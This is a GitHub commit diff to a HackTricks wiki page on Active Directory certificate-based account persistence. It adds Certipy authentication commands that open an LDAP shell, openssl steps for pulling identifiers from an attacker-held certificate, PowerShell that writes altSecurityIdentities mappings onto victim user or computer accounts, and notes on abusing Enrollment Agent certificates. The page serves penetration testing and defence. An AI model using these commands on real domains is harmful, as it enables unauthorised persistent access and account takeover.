Skip to content

Commit 9392a27

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update Enhanced src/windows-hardening/active-direct...
1 parent 23cf2e8 commit 9392a27

1 file changed

Lines changed: 31 additions & 1 deletion

File tree

src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md

Lines changed: 31 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,11 +94,33 @@ Then authenticate with your PFX. Certipy will obtain a TGT directly:
9494

9595
```bash
9696
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
97+
98+
# If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
99+
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
100+
```
101+
102+
### Building Strong `altSecurityIdentities` Mappings
103+
104+
In practice, **Issuer+Serial** and **SKI** mappings are the easiest strong formats to build from an attacker-held certificate. This matters after **February 11, 2025**, when DCs default to **Full Enforcement** and weak mappings stop being reliable.
105+
106+
```bash
107+
# Extract issuer, serial and SKI from a cert/PFX
108+
openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
109+
openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
110+
```
111+
112+
```powershell
113+
# Example strong SKI mapping for a user or computer object
114+
$Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
115+
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
116+
# Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}
97117
```
98118

99119
Notes
100-
- Use strong mapping types only: X509IssuerSerialNumber, X509SKI, or X509SHA1PublicKey. Weak formats (Subject/Issuer, Subject-only, RFC822 email) are deprecated and can be blocked by DC policy.
120+
- Use strong mapping types only: `X509IssuerSerialNumber`, `X509SKI`, or `X509SHA1PublicKey`. Weak formats (Subject/Issuer, Subject-only, RFC822 email) are deprecated and can be blocked by DC policy.
121+
- The mapping works on both **user** and **computer** objects, so write access to a computer account's `altSecurityIdentities` is enough to persist as that machine.
101122
- The cert chain must build to a root trusted by the DC. Enterprise CAs in NTAuth are typically trusted; some environments also trust public CAs.
123+
- Schannel authentication remains useful for persistence even when PKINIT fails because the DC lacks the Smart Card Logon EKU or returns `KDC_ERR_PADATA_TYPE_NOSUPP`.
102124

103125
For more on weak explicit mappings and attack paths, see:
104126

@@ -126,6 +148,10 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
126148

127149
Revocation of the agent certificate or template permissions is required to evict this persistence.
128150

151+
Operational notes
152+
- Modern `Certipy` versions support both `-on-behalf-of` and `-renew`, so an attacker holding an Enrollment Agent PFX can mint and later renew leaf certificates without re-touching the original target account.
153+
- If PKINIT-based TGT retrieval is not possible, the resulting on-behalf-of certificate is still usable for Schannel authentication with `certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shell`.
154+
129155
## 2025 Strong Certificate Mapping Enforcement: Impact on Persistence
130156

131157
Microsoft KB5014754 introduced Strong Certificate Mapping Enforcement on domain controllers. Since February 11, 2025, DCs default to Full Enforcement, rejecting weak/ambiguous mappings. Practical implications:
@@ -141,7 +167,11 @@ Administrators should monitor and alert on:
141167

142168
- Microsoft. KB5014754: Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings).
143169
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
170+
- SpecterOps. ADCS ESC14 Abuse Technique (explicit `altSecurityIdentities` abuse on user/computer objects).
171+
https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/
144172
- Certipy Wiki – Command Reference (`req -renew`, `auth`, `shadow`).
145173
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
174+
- Almond Offensive Security. Authenticating with certificates when PKINIT is not supported.
175+
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
146176

147177
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)